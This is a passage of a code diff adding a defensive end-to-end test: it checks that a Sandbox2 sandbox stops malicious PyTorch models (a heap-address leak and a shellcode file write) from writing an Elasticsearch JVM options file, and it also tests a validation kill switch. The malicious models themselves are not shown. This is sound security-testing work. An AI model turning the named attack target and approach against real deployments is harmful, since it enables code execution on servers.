without the flag, validation still runs - print() - print("--- kill_switch_absent: without flag, validation still active ---") - try: - exit_code, stdout, stderr = run_pytorch_inference( - binary, leak_path, tmp_dir) - except subprocess.TimeoutExpired: - exit_code, stderr = -1, "" + # --- Kill switch test (only when compiled with ML_ALLOW_SKIP_MODEL_VALIDATION) --- + if not skip_model_validation_compiled(binary): + print("--- kill_switch: --skipModelValidation not compiled in; skipping ---") + else: + print("--- kill_switch: --skipModelValidation bypasses validation ---") + leak_path = tmp_dir / "model_leak.pt" + if leak_path.exists(): + try: + exit_code, stdout, stderr = run_pytorch_inference( + binary, leak_path, tmp_dir, + extra_args=["--skipModelValidation"]) + except subprocess.TimeoutExpired: + exit_code, stderr = -1, "" + + skip_msg = "Model graph validation SKIPPED" + if skip_msg in stderr: + print(f" Result: validation skipped (kill switch active)") + print(f" Test: OK") + else: + print(f" Result: kill switch did not take effect") + print(f" Exit code: {exit_code}") + stderr_lines = stderr.strip().splitlines()[-5:] + for line in stderr_lines: + print(f" {line}") + print(f" Test: FAIL") + all_passed = False - was_rejected = any(p in stderr for p in validation_rejection_phrases) - if was_rejected: - print(f" Result: model rejected (validation still active)") - print(f" Test: OK") + print() + print("--- kill_switch_absent: without flag, validation still active ---") + try: + exit_code, stdout, stderr = run_pytorch_inference( + binary, leak_path, tmp_dir) + except subprocess.TimeoutExpired: + exit_code, stderr = -1, "" + + was_rejected = any(p in stderr for p in validation_rejection_phrases) + if was_rejected: + print(f" Result: model rejected (validation still active)") + print(f" Test: OK") + else: + print(f" Result: validation was not active without flag") + print(f" Test: FAIL") + all_passed = False else: - print(f" Result: validation was not active without flag") - print(f" Test: FAIL") - all_passed = False - else: - print(" SKIP: leak model not generated") + print(" SKIP: leak model not generated") print() diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py new file mode 100755 index 0000000000..672ce04467 --- /dev/null +++ b/test/test_sandbox2_attack_defense.py @@ -0,0 +1,1230 @@ +#!/usr/bin/env python3 +""" +End-to-end test for Sandbox2 attack defense + +This test verifies that sandbox2 can defend against attacks where traced +PyTorch models attempt to write files outside their allowed scope. + +The test: +1. Generates a benign model (positive test case) +2. Generates a leak model (heap address leak) +3. Generates an exploit model (file write attempt via shellcode) +4. Tests each model through the controller -> pytorch_inference flow +5. Verifies that file writes to protected paths are blocked +""" + +import os +import sys +import stat +import subprocess +import threading +import time +import tempfile +import shutil +import signal +import json +import fcntl +import queue +import re +import struct +from pathlib import Path + + +class PipeReaderThread(threading.Thread): + """Thread that reads from a named pipe and writes to a file.""" + + def __init__(self, pipe_path, output_file): + self.pipe_path = pipe_path + self.output_file = output_file + self.fd = None + self.running = True + self.error = None + super().__init__(daemon=True) + + def run(self): + """Open pipe and read continuously.""" + try: + # Open pipe for reading (blocks until writer connects) + # This is okay because we're in a separate thread + self.fd = os.open(self.pipe_path, os.O_RDONLY) + + with open(self.output_file, 'w') as f: + while self.running: + try: + data = os.read(self.fd, 4096) + if not data: + break + f.write(data.decode('utf-8', errors='replace')) + f.flush() + except OSError as e: + if self.running: + self.error = str(e) + break + except Exception as e: + self.error = str(e) + finally: + if self.fd is not None: + try: + os.close(self.fd) + except: + pass + + def stop(self): + """Stop the reader thread.""" + self.running = False + if self.fd is not None: + try: + os.close(self.fd) + except: + pass + + +class StdinKeeperThread(threading.Thread): + """Thread that keeps stdin pipe open for controller by writing to it.""" + + def __init__(self, stdin_pipe_path): + self.stdin_pipe_path = stdin_pipe_path + self.fd = None + self.running = True + super().__init__(daemon=True) + + def run(self): + """Open stdin pipe for writing to keep it open.""" + try: + # Open for writing (will block until reader connects) + # Use O_NONBLOCK first, then switch to blocking after opening + self.fd = os.open(self.stdin_pipe_path, os.O_WRONLY | os.O_NONBLOCK) + # Set to blocking mode + flags = fcntl.fcntl(self.fd, fcntl.F_GETFL) + fcntl.fcntl(self.fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK) + + # Keep writing periodically to keep pipe alive + # Write newlines periodically so controller doesn't see EOF + while self.running: + try: + os.write(self.fd, b'\n') + time.sleep(0.5) + except (OSError, BrokenPipeError): + # Pipe closed (controller exited) + break + except Exception as e: + # If we can't open, that's okay - controller might have exited + pass + finally: + if self.fd is not None: + try: + os.close(self.fd) + except: + pass + + def stop(self): + """Stop keeping stdin open.""" + self.running = False + if self.fd is not None: + try: + os.close(self.fd) + except: + pass + + +class ControllerProcess: + """Manages the controller process and its communication pipes.""" + + def __init__(self, binary_path, test_dir, controller_dir): + self.binary_path = binary_path + self.test_dir = Path(test_dir) + self.controller_dir = controller_dir + self.process = None + self.log_reader = None + self.output_reader = None + self.stdin_keeper = None + self.cmd_pipe_fd = None # Keep command pipe open + + # Set up pipe paths + self.pipes = { + 'cmd': str(self.test_dir / 'controller_cmd'), + 'out': str(self.test_dir / 'controller_out'), + 'log': str(self.test_dir / 'controller_log'), + 'stdin': str(self.test_dir / 'controller_stdin'), + } + + # Create FIFOs with proper permissions (0600) + for pipe_path in self.pipes.values(): + if os.path.exists(pipe_path): + os.remove(pipe_path) + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + # Create boost.log.ini config file in test directory + script_dir = Path(__file__).parent + source_config = script_dir / 'boost.log.ini' + test_config = self.test_dir / 'boost.log.ini' + if source_config.exists(): + shutil.copy(source_config, test_config) + else: + # Create default config if source doesn't exist + with open(test_config, 'w') as f: + f.write('[Core]\n') + f.write('Filter="%Severity% >= TRACE"\n') + f.write('\n') + f.write('[Sinks.Stderr]\n') + f.write('Destination=Console\n') + + # Start pipe readers FIRST (before controller starts) + log_file = str(self.test_dir / 'controller_log_output.txt') + output_file = str(self.test_dir / 'controller_output.txt') + + self.log_reader = PipeReaderThread(self.pipes['log'], log_file) + self.output_reader = PipeReaderThread(self.pipes['out'], output_file) + + self.log_reader.start() + self.output_reader.start() + + # Give readers a moment to start (they'll block opening pipes until controller connects) + # This is fine - they're in separate threads + time.sleep(0.2) + + print("Pipe readers started (will connect when controller opens pipes)") + sys.stdout.flush() + + print("Starting controller process...") + sys.stdout.flush() + + # Open stdin for reading FIRST (this will block until writer connects) + # We need to do this in a separate thread so we can start stdin_keeper + stdin_opened = threading.Event() + stdin_fd_holder = {'fd': None} + + def open_stdin_for_controller(): + # This will block until stdin_keeper connects as writer + stdin_fd_holder['fd'] = os.open(self.pipes['stdin'], os.O_RDONLY) + stdin_opened.set() + + stdin_opener_thread = threading.Thread(target=open_stdin_for_controller, daemon=True) + stdin_opener_thread.start() + + # Start stdin keeper (opens pipe for writing, which unblocks the opener thread) + self.stdin_keeper = StdinKeeperThread(self.pipes['stdin']) + self.stdin_keeper.start() + + # Wait for stdin to be opened (stdin_keeper connection unblocks it) + if not stdin_opened.wait(timeout=3.0): + raise RuntimeError("Failed to open stdin pipe - stdin_keeper did not connect") + + stdin_fd = stdin_fd_holder['fd'] + if stdin_fd is None: + raise RuntimeError("stdin_fd is None after opening") + + print(f"stdin opened: fd={stdin_fd}, stdin_keeper: fd={self.stdin_keeper.fd}") + sys.stdout.flush() + + # Now start controller with the opened stdin + self._start_controller_with_stdin(stdin_fd) + + # Give controller time to fully initialize + time.sleep(0.3) + + print(f"Controller started (PID: {self.process.pid})") + + # Wait a bit more for controller to fully initialize and open pipes + time.sleep(1.0) + + # Open command pipe for writing and keep it open + # This must be done AFTER controller starts and opens it for reading + print("Opening command pipe...") + sys.stdout.flush() + cmd_pipe_opened = threading.Event() + cmd_pipe_fd_holder = {'fd': None} + + def open_cmd_pipe(): + # This will block until controller opens it for reading + try: + cmd_pipe_fd_holder['fd'] = os.open(self.pipes['cmd'], os.O_WRONLY) + cmd_pipe_opened.set() + except Exception as e: + cmd_pipe_fd_holder['error'] = e + cmd_pipe_opened.set() + + cmd_pipe_thread = threading.Thread(target=open_cmd_pipe, daemon=True) + cmd_pipe_thread.start() + + if not cmd_pipe_opened.wait(timeout=5.0): + raise RuntimeError("Timeout waiting for controller to open command pipe") + + if 'error' in cmd_pipe_fd_holder: + raise RuntimeError(f"Failed to open command pipe: {cmd_pipe_fd_holder['error']}") + + self.cmd_pipe_fd = cmd_pipe_fd_holder['fd'] + if self.cmd_pipe_fd is None: + raise RuntimeError("cmd_pipe_fd is None after opening") + + print(f"Command pipe opened: fd={self.cmd_pipe_fd}") + sys.stdout.flush() + + # Check controller logs to see if there are any errors + log_file = self.test_dir / 'controller_log_output.txt' + if log_file.exists() and log_file.stat().st_size > 0: + with open(log_file, 'r') as f: + log_content = f.read() + if log_content: + print(f"Controller log (first 500 chars): {log_content[:500]}") + + stderr_file = self.test_dir / 'controller_stderr.log' + if stderr_file.exists() and stderr_file.stat().st_size > 0: + with open(stderr_file, 'r') as f: + stderr_content = f.read() + if stderr_content: + print(f"Controller stderr: {stderr_content}") + + sys.stdout.flush() + + def _start_controller(self): + """Start the controller process (deprecated - use _start_controller_with_stdin).""" + raise RuntimeError("Use _start_controller_with_stdin instead") + + def _start_controller_with_stdin(self, stdin_fd): + """Start the controller process with a pre-opened stdin file descriptor.""" + try: + # Get path to properties file + properties_file = str(self.test_dir / 'boost.log.ini') + + cmd_args = [ + self.binary_path, + '--logPipe=' + self.pipes['log'], + '--commandPipe=' + self.pipes['cmd'], + '--outputPipe=' + self.pipes['out'], + ] + + # Add properties file if it exists + if os.path.exists(properties_file): + cmd_args.append('--propertiesFile=' + properties_file) + + self.process = subprocess.Popen( + cmd_args, + stdin=stdin_fd, + stdout=open(self.test_dir / 'controller_stdout.log', 'w'), + stderr=open(self.test_dir / 'controller_stderr.log', 'w'), + cwd=self.controller_dir, + ) + + # Don't close stdin_fd - subprocess needs it + # It will be closed when process exits + + # Wait a moment to see if it starts successfully + # Check multiple times to see if it's running or exited + for i in range(5): + time.sleep(0.2) + poll_result = self.process.poll() + if poll_result is not None: + # Process exited + break + # Still running + if i == 0: + print(" Controller process is running...") + + if self.process.poll() is not None: + # Process exited immediately - read stderr to see why + stderr_file = self.test_dir / 'controller_stderr.log' + stderr_msg = "" + if stderr_file.exists(): + with open(stderr_file, 'r') as f: + stderr_msg = f.read() + raise RuntimeError(f"Controller exited immediately with code {self.process.returncode}\nStderr: {stderr_msg}") + + # Check if pipe readers have errors + if self.log_reader.error: + raise RuntimeError(f"Log pipe reader error: {self.log_reader.error}") + if self.output_reader.error: + raise RuntimeError(f"Output pipe reader error: {self.output_reader.error}") + + except Exception as e: + if stdin_fd is not None: + try: + os.close(stdin_fd) + except: + pass + raise + + def send_command(self, command_id, verb, args): + """Send a command to the controller.""" + # Check if controller process is still running + if self.process is None or self.process.poll() is not None: + raise RuntimeError(f"Controller process is not running (exit code: {self.process.returncode if self.process else 'N/A'})") + + # Check if command pipe is open + if self.cmd_pipe_fd is None: + raise RuntimeError("Command pipe is not open") + + # Format: ID\tverb\targs... + cmd_line = f"{command_id}\t{verb}\t" + "\t".join(args) + "\n" + + try: + # Write to the already-open pipe + os.write(self.cmd_pipe_fd, cmd_line.encode('utf-8')) + # Flush is not needed for pipes, but we can use fsync if needed + # os.fsync(self.cmd_pipe_fd) # Not necessary for pipes + except Exception as e: + raise RuntimeError(f"Failed to send command: {e}") + + def wait_for_response(self, timeout=5, command_id=None): + """Wait for a response from the controller. + + Returns: + dict or None: Parsed response with 'id', 'success', 'reason' fields, or None if timeout + If command_id is provided, only returns response matching that ID. + """ + output_file = self.test_dir / 'controller_output.txt' + start_time = time.time() + last_content = "" + + while time.time() - start_time < timeout: + if output_file.exists() and output_file.stat().st_size > 0: + with open(output_file, 'r') as f: + content = f.read() + + # Only process if content has changed + if content != last_content and content.strip(): + last_content = content + + # Try to parse as JSON array + try: + # Handle incomplete JSON arrays (might be missing closing bracket) + content_clean = content.strip() + if not content_clean.startswith('['): + # Might be just a single object, wrap it + if content_clean.startswith('{'): + content_clean = '[' + content_clean + if not content_clean.endswith(']'): + content_clean += ']' + else: + # Try to find JSON objects in the content + continue + + # Ensure it ends with closing bracket + if not content_clean.endswith(']'): + content_clean += ']' + + # Parse JSON array + responses = json.loads(content_clean) + + if not isinstance(responses, list): + # Single object, wrap in list + responses = [responses] + + # Filter by command_id if provided + if command_id is not None: + for resp in responses: + if isinstance(resp, dict) and resp.get('id') == command_id: + return resp + else: + # Return the most recent response + if responses: + return responses[-1] + + except json.JSONDecodeError as e: + # Malformed JSON - show raw content for debugging + print(f"Warning: Failed to parse JSON response: {e}") + print(f"Raw response content: {content[:500]}") + sys.stdout.flush() + # Continue waiting for more complete response + time.sleep(0.1) + continue + + time.sleep(0.1) + + return None + + def analyze_controller_logs(self, max_lines=50): + """Parse controller logs and extract error/warning messages. + + Returns: + dict: Contains 'errors', 'warnings', 'debug_info', 'recent_lines', 'exit_codes', and 'sandbox2_messages' + """ + log_file = self.test_dir / 'controller_log_output.txt' + result = { + 'errors': [], + 'warnings': [], + 'debug_info': [], + 'recent_lines': [], + 'sandbox2_messages': [], + 'exit_codes': [] # List of exit codes found in logs + } + + if not log_file.exists(): + return result + + try: + with open(log_file, 'r') as f: + lines = f.readlines() + + # Process last max_lines to get recent context + recent_lines = lines[-max_lines:] if len(lines) > max_lines else lines + + for line in recent_lines: + line = line.strip() + if not line: + continue + + # Each line is a JSON log object + try: + log_obj = json.loads(line) + + # Extract log level and message + level = log_obj.get('level', '').upper() + message = log_obj.get('message', '') + + result['recent_lines'].append({ + 'level': level, + 'message': message, + 'timestamp': log_obj.get('timestamp', 0), + 'file': log_obj.get('file', ''), + 'line': log_obj.get('line', 0) + }) + + # Categorize by level + if level in ['ERROR', 'FATAL']: + result['errors'].append(message) + elif level == 'WARN': + result['warnings'].append(message) + elif level in ['DEBUG', 'TRACE']: + result['debug_info'].append(message) + + # Check for Sandbox2-related messages + if 'sandbox2' in message.lower() or 'sandbox' in message.lower(): + result['sandbox2_messages'].append(message) + + # Extract exit codes from log messages + # Look for patterns like "exited with exit code 31" or "exited with code 31" + exit_code_patterns = [ + r'exited with exit code (\d+)', + r'exited with code (\d+)', + r'exit code (\d+)', + r'exit_code[:\s]+(\d+)' + ] + for pattern in exit_code_patterns: + matches = re.findall(pattern, message, re.IGNORECASE) + for match in matches: + try: + exit_code = int(match) + result['exit_codes'].append({ + 'code': exit_code, + 'message': message, + 'timestamp': log_obj.get('timestamp', 0) + }) + except ValueError: + pass + + except json.JSONDecodeError: + # Not a JSON line, might be raw text + if 'error' in line.lower() or 'fail' in line.lower(): + result['errors'].append(line) + continue + + except Exception as e: + result['errors'].append(f"Failed to parse log file: {e}") + + return result + + def check_controller_logs(self, show_debug=False): + """Check controller logs for errors/warnings and display them. + + Returns: + bool: True if no errors found, False otherwise + """ + analysis = self.analyze_controller_logs() + + has_errors = len(analysis['errors']) > 0 + has_warnings = len(analysis['warnings']) > 0 + + if has_errors or has_warnings: + print("\n--- Controller Log Analysis ---") + if has_errors: + print("ERRORS:") + for error in analysis['errors'][-10:]: # Show last 10 errors + print(f" - {error}") + if has_warnings: + print("WARNINGS:") + for warning in analysis['warnings'][-10:]: # Show last 10 warnings + print(f" - {warning}") + if analysis['sandbox2_messages']: + print("SANDBOX2 MESSAGES:") + for msg in analysis['sandbox2_messages'][-5:]: + print(f" - {msg}") + print("--- End Log Analysis ---\n") + sys.stdout.flush() + + if show_debug and analysis['debug_info']: + print("\n--- Recent Debug Info ---") + for info in analysis['debug_info'][-5:]: + print(f" - {info}") + print("--- End Debug Info ---\n") + sys.stdout.flush() + + # Display exit codes if found + if analysis['exit_codes']: + print("\n--- Process Exit Codes ---") + for exit_info in analysis['exit_codes']: + print(f" Exit code {exit_info['code']}: {exit_info['message']}") + print("--- End Exit Codes ---\n") + sys.stdout.flush() + + return not has_errors + + def cleanup(self): + """Clean up all resources.""" + # Close command pipe first (this will cause controller to exit) + if self.cmd_pipe_fd is not None: + try: + os.close(self.cmd_pipe_fd) + except: + pass + self.cmd_pipe_fd = None + + if self.process: + try: + self.process.terminate() + self.process.wait(timeout=2) + except subprocess.TimeoutExpired: + self.process.kill() + self.process.wait() + except: + pass + + if self.stdin_keeper: + self.stdin_keeper.stop() + self.stdin_keeper.join(timeout=1) + + if self.log_reader: + self.log_reader.stop() + self.log_reader.join(timeout=1) + + if self.output_reader: + self.output_reader.stop() + self.output_reader.join(timeout=1) + + # Remove pipes + for pipe_path in self.pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except: + pass + + +def find_binaries(): + """Find controller and pytorch_inference binaries.""" + import platform + + script_dir = Path(__file__).parent + project_root = script_dir.parent.absolute() + + # Detect architecture + machine = platform.machine() + if machine == 'aarch64' or machine == 'arm64': + arch = 'linux-aarch64' + elif machine == 'x86_64' or machine == 'amd64': + arch = 'linux-x86_64' + else: + arch = f'linux-{machine}' + + # Try distribution directory first with detected architecture + dist_path = project_root / 'build' / 'distribution' / 'platform' / arch / 'bin' + controller_path = dist_path / 'controller' + pytorch_path = dist_path / 'pytorch_inference' + if controller_path.exists(): + return str(controller_path.absolute()), str(pytorch_path.absolute()) + + # Try distribution directory with x86_64 (fallback) + dist_path = project_root / 'build' / 'distribution' / 'platform' / 'linux-x86_64' / 'bin' + controller_path = dist_path / 'controller' + pytorch_path = dist_path / 'pytorch_inference' + if controller_path.exists(): + return str(controller_path.absolute()), str(pytorch_path.absolute()) + + # Try build directory + build_path = project_root / 'build' / 'bin' + controller_path = build_path / 'controller' / 'controller' + pytorch_path = build_path / 'pytorch_inference' / 'pytorch_inference' + if controller_path.exists(): + return str(controller_path.absolute()), str(pytorch_path.absolute()) + + # Check environment variables + controller_bin = os.environ.get('CONTROLLER_BIN') + pytorch_bin = os.environ.get('PYTORCH_BIN') + if controller_bin and pytorch_bin: + return os.path.abspath(controller_bin), os.path.abspath(pytorch_bin) + + raise RuntimeError("Could not find controller or pytorch_inference binaries") + + +def send_inference_request_with_timeout(pytorch_pipes, request, timeout=5): + """Send inference request to pytorch_inference with timeout. + + Returns: + bool: True if request was sent successfully, False otherwise + """ + result_queue = queue.Queue() + + def open_and_write(): + try: + with open(pytorch_pipes['input'], 'w') as f: + json.dump(request, f) + f.flush() + result_queue.put(True) + except Exception as e: + result_queue.put(e) + + writer_thread = threading.Thread(target=open_and_write, daemon=True) + writer_thread.start() + writer_thread.join(timeout=timeout) + + if writer_thread.is_alive(): + print(f"Warning: Timeout ({timeout}s) waiting to open pytorch_inference input pipe") + return False + + try: + result = result_queue.get_nowait() + if isinstance(result, Exception): + print(f"Warning: Could not send inference request: {result}") + return False + return True + except queue.Empty: + print("Warning: No result from inference request writer thread") + return False + + +def generate_models(test_dir): + """Generate test models using the existing generator script.""" + script_dir = Path(__file__).parent + generator_script = script_dir / 'evil_model_generator.py' + project_root = script_dir.parent + + if not generator_script.exists(): + raise RuntimeError(f"Model generator not found: {generator_script}") + + # Try to use virtual environment if available + venv_python = project_root / 'test_venv' / 'bin' / 'python3' + python_exec = sys.executable + if venv_python.exists(): + python_exec = str(venv_python) + print(f"Using virtual environment: {venv_python}") + + result = subprocess.run( + [python_exec, str(generator_script), str(test_dir)], + capture_output=True, + text=True + ) + + if result.returncode != 0: + raise RuntimeError(f"Model generation failed: {result.stderr}") + + # Verify models were created + models = ['model_benign.pt', 'model_leak.pt', 'model_exploit.pt'] + for model in models: + model_path = Path(test_dir) / model + if not model_path.exists(): + raise RuntimeError(f"Model {model} was not generated") + + +def prepare_restore_file(model_path, restore_path): + """Wrap a .pt file with the 4-byte big-endian size header that + CBufferedIStreamAdapter expects (matching how Elasticsearch sends models).""" + model_bytes = Path(model_path).read_bytes() + with open(restore_path, 'wb') as restore_file: + restore_file.write(struct.pack('!I', len(model_bytes))) + restore_file.write(model_bytes) + + +def test_benign_model(controller, pytorch_bin, model_path, test_dir): + """Test the benign model.""" + print("\n" + "=" * 40) + print("Test 1: Benign Model (Positive Test)") + print("=" * 40) + sys.stdout.flush() + + # Ensure pytorch_inference is accessible from controller directory + print("Setting up pytorch_inference symlink...") + sys.stdout.flush() + controller_dir = Path(controller.binary_path).parent + pytorch_name = Path(pytorch_bin).name + pytorch_in_controller_dir = controller_dir / pytorch_name + + if not pytorch_in_controller_dir.exists(): + if os.path.exists(pytorch_in_controller_dir): + os.remove(pytorch_in_controller_dir) + os.symlink(pytorch_bin, pytorch_in_controller_dir) + print(f" Symlink created: {pytorch_in_controller_dir}") + sys.stdout.flush() + + # Set up pytorch_inference pipes + print("Creating pytorch_inference pipes...") + sys.stdout.flush() + pytorch_pipes = { + 'input': str(test_dir / 'pytorch_input'), + 'output': str(test_dir / 'pytorch_output'), + } + + for pipe_path in pytorch_pipes.values(): + if os.path.exists(pipe_path): + os.remove(pipe_path) + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + print(" Pipes created") + sys.stdout.flush() + + restore_path = test_dir / f'{model_path.stem}_restore.bin' + prepare_restore_file(model_path, restore_path) + + output_file = str(test_dir / 'pytorch_output_output.txt') + output_reader = PipeReaderThread(pytorch_pipes['output'], output_file) + output_reader.start() + + time.sleep(0.2) # Give readers time to start + + cmd_args = [ + f'./{pytorch_name}', + f'--restore={restore_path}', + f'--input={pytorch_pipes["input"]}', + '--inputIsPipe', + f'--output={pytorch_pipes["output"]}', + '--outputIsPipe', + '--validElasticLicenseKeyConfirmed=true', + ] + + # Send start command + command_id = 1 + print("Sending start command to controller...") + sys.stdout.flush() + controller.send_command(command_id, 'start', cmd_args) + + # Wait for response and parse it + print("Waiting for controller response...") + sys.stdout.flush() + time.sleep(0.5) + response = controller.wait_for_response(5, command_id=command_id) + + if response is None: + print("ERROR: No response from controller") + controller.check_controller_logs() + sys.stdout.flush() + return False + + # Check if response indicates success + if isinstance(response, dict): + print(f"Controller response: id={response.get('id')}, success={response.get('success')}, reason={response.get('reason')}") + if not response.get('success', False): + print(f"ERROR: Controller reported failure: {response.get('reason', 'Unknown reason')}") + controller.check_controller_logs() + sys.stdout.flush() + return False + else: + print(f"Warning: Unexpected response format: {response}") + + # Check controller logs for errors + print("Checking controller logs...") + controller.check_controller_logs(show_debug=True) + + # Give pytorch_inference time to start and initialize + print("Waiting for pytorch_inference to start...") + sys.stdout.flush() + time.sleep(3) + + # Check controller logs again after waiting + print("Checking controller logs after wait...") + controller.check_controller_logs(show_debug=True) + + # Send inference request with timeout + print("Sending inference request...") + sys.stdout.flush() + request = { + 'request_id': 'test_benign', + 'tokens': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_1': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_2': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + 'arg_3': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + } + + if not send_inference_request_with_timeout(pytorch_pipes, request, timeout=5): + print("ERROR: Failed to send inference request") + controller.check_controller_logs() + sys.stdout.flush() + return False + + print("Inference request sent successfully") + sys.stdout.flush() + + # Wait for process to complete (but don't wait too long) + print("Waiting for inference to complete...") + sys.stdout.flush() + time.sleep(3) + + # Verify target file was not created + target_file = '/usr/share/elasticsearch/config/jvm.options.d/gc.options' + if os.path.exists(target_file): + print(f"FAIL: Target file was created: {target_file}") + return False + + # Cleanup + for pipe_path in pytorch_pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except: + pass + + print("✓ Benign model test passed") + return True + + +def test_leak_model(controller, pytorch_bin, model_path, test_dir): + """Test the leak model.""" + print("\n" + "=" * 40) + print("Test 2: Leak Model (Heap Address Leak)") + print("=" * 40) + + # Similar setup to benign model + controller_dir = Path(controller.binary_path).parent + pytorch_name = Path(pytorch_bin).name + pytorch_in_controller_dir = controller_dir / pytorch_name + + if not pytorch_in_controller_dir.exists(): + if os.path.exists(pytorch_in_controller_dir): + os.remove(pytorch_in_controller_dir) + os.symlink(pytorch_bin, pytorch_in_controller_dir) + + pytorch_pipes = { + 'input': str(test_dir / 'pytorch_input'), + 'output': str(test_dir / 'pytorch_output'), + } + + for pipe_path in pytorch_pipes.values(): + if os.path.exists(pipe_path): + os.remove(pipe_path) + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + restore_path = test_dir / f'{model_path.stem}_restore.bin' + prepare_restore_file(model_path, restore_path) + command_id = 2 + print("Sending start command to controller...") + sys.stdout.flush() + controller.send_command( + command_id, + 'start', + [ + f'./{pytorch_name}', + f'--restore={restore_path}', + f'--input={pytorch_pipes["input"]}', + '--inputIsPipe', + f'--output={pytorch_pipes["output"]}', + '--outputIsPipe', + '--validElasticLicenseKeyConfirmed=true', + ] + ) + + # Wait for response and parse it + print("Waiting for controller response...") + sys.stdout.flush() + time.sleep(0.5) + response = controller.wait_for_response(5, command_id=command_id) + + if response is None: + print("ERROR: No response from controller") + controller.check_controller_logs() + sys.stdout.flush() + return False + + # Check if response indicates success + if isinstance(response, dict): + print(f"Controller response: id={response.get('id')}, success={response.get('success')}, reason={response.get('reason')}") + if not response.get('success', False): + print(f"ERROR: Controller reported failure: {response.get('reason', 'Unknown reason')}") + controller.check_controller_logs() + sys.stdout.flush() + return False + else: + print(f"Warning: Unexpected response format: {response}") + + # Check controller logs for errors + print("Checking controller logs...") + controller.check_controller_logs() + + # Give pytorch_inference time to start + print("Waiting for pytorch_inference to start...") + sys.stdout.flush() + time.sleep(2) + + # Send inference request with timeout + print("Sending inference request...") + sys.stdout.flush() + request = { + 'request_id': 'test_leak', + 'tokens': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_1': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_2': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + 'arg_3': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + } + + if not send_inference_request_with_timeout(pytorch_pipes, request, timeout=5): + print("ERROR: Failed to send inference request") + controller.check_controller_logs() + sys.stdout.flush() + return False + + print("Inference request sent successfully") + sys.stdout.flush() + + # Wait for process to complete + print("Waiting for inference to complete...") + sys.stdout.flush() + time.sleep(5) + + target_file = '/usr/share/elasticsearch/config/jvm.options.d/gc.options' + if os.path.exists(target_file): + print(f"FAIL: Target file was created: {target_file}") + return False + + for pipe_path in pytorch_pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except: + pass + + print("✓ Leak model test passed (file write prevented)") + return True + + +def test_exploit_model(controller, pytorch_bin, model_path, test_dir): + """Test the exploit model.""" + print("\n" + "=" * 40) + print("Test 3: Exploit Model (File Write Attempt)") + print("=" * 40) + + # Ensure target file doesn't exist + target_file = '/usr/share/elasticsearch/config/jvm.options.d/gc.options' + if os.path.exists(target_file): + os.remove(target_file) + + # Create directory if needed (for testing) + target_dir = os.path.dirname(target_file) + try: + os.makedirs(target_dir, exist_ok=True) + except PermissionError: + pass # May not have permission, that's fine + + controller_dir = Path(controller.binary_path).parent + pytorch_name = Path(pytorch_bin).name + pytorch_in_controller_dir = controller_dir / pytorch_name + + if not pytorch_in_controller_dir.exists(): + if os.path.exists(pytorch_in_controller_dir): + os.remove(pytorch_in_controller_dir) + os.symlink(pytorch_bin, pytorch_in_controller_dir) + + pytorch_pipes = { + 'input': str(test_dir / 'pytorch_input'), + 'output': str(test_dir / 'pytorch_output'), + } + + for pipe_path in pytorch_pipes.values(): + if os.path.exists(pipe_path): + os.remove(pipe_path) + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + restore_path = test_dir / f'{model_path.stem}_restore.bin' + prepare_restore_file(model_path, restore_path) + command_id = 3 + print("Sending start command to controller...") + sys.stdout.flush() + controller.send_command( + command_id, + 'start', + [ + f'./{pytorch_name}', + f'--restore={restore_path}', + f'--input={pytorch_pipes["input"]}', + '--inputIsPipe', + f'--output={pytorch_pipes["output"]}', + '--outputIsPipe', + '--validElasticLicenseKeyConfirmed=true', + ] + ) + + # Wait for response and parse it + print("Waiting for controller response...") + sys.stdout.flush() + time.sleep(0.5) + response = controller.wait_for_response(5, command_id=command_id) + + if response is None: + print("ERROR: No response from controller") + controller.check_controller_logs() + sys.stdout.flush() + return False + + # Check if response indicates success + if isinstance(response, dict): + print(f"Controller response: id={response.get('id')}, success={response.get('success')}, reason={response.get('reason')}") + if not response.get('success', False): + print(f"ERROR: Controller reported failure: {response.get('reason', 'Unknown reason')}") + controller.check_controller_logs() + sys.stdout.flush() + return False + else: + print(f"Warning: Unexpected response format: {response}") + + # Check controller logs for errors + print("Checking controller logs...") + controller.check_controller_logs() + + # Give pytorch_inference time to start + print("Waiting for pytorch_inference to start...") + sys.stdout.flush() + time.sleep(2) + + # Send inference request with timeout + print("Sending inference request...") + sys.stdout.flush() + request = { + 'request_id': 'test_exploit', + 'tokens': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_1': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_2': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + 'arg_3': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + } + + if not send_inference_request_with_timeout(pytorch_pipes, request, timeout=5): + print("ERROR: Failed to send inference request") + controller.check_controller_logs() + sys.stdout.flush() + return False + + print("Inference request sent successfully") + sys.stdout.flush() + + # Wait for process to complete + print("Waiting for inference to complete...") + sys.stdout.flush() + time.sleep(5) + + # Check if target file was created (should NOT be - sandbox2 should prevent it) + if os.path.exists(target_file): + print(f"FAIL: Target file was created! Sandbox2 failed to prevent file write") + print(f"File contents:") + try: + with open(target_file, 'r') as f: + print(f.read()) + except: + pass + return False + else: + print("✓ Target file was NOT created - sandbox2 successfully prevented file write") + + for pipe_path in pytorch_pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except: + pass + + print("✓ Exploit model test passed (file write prevented)") + return True + + +def main(): + """Main test execution.""" + import argparse + + parser = argparse.ArgumentParser(description='Sandbox2 Attack Defense 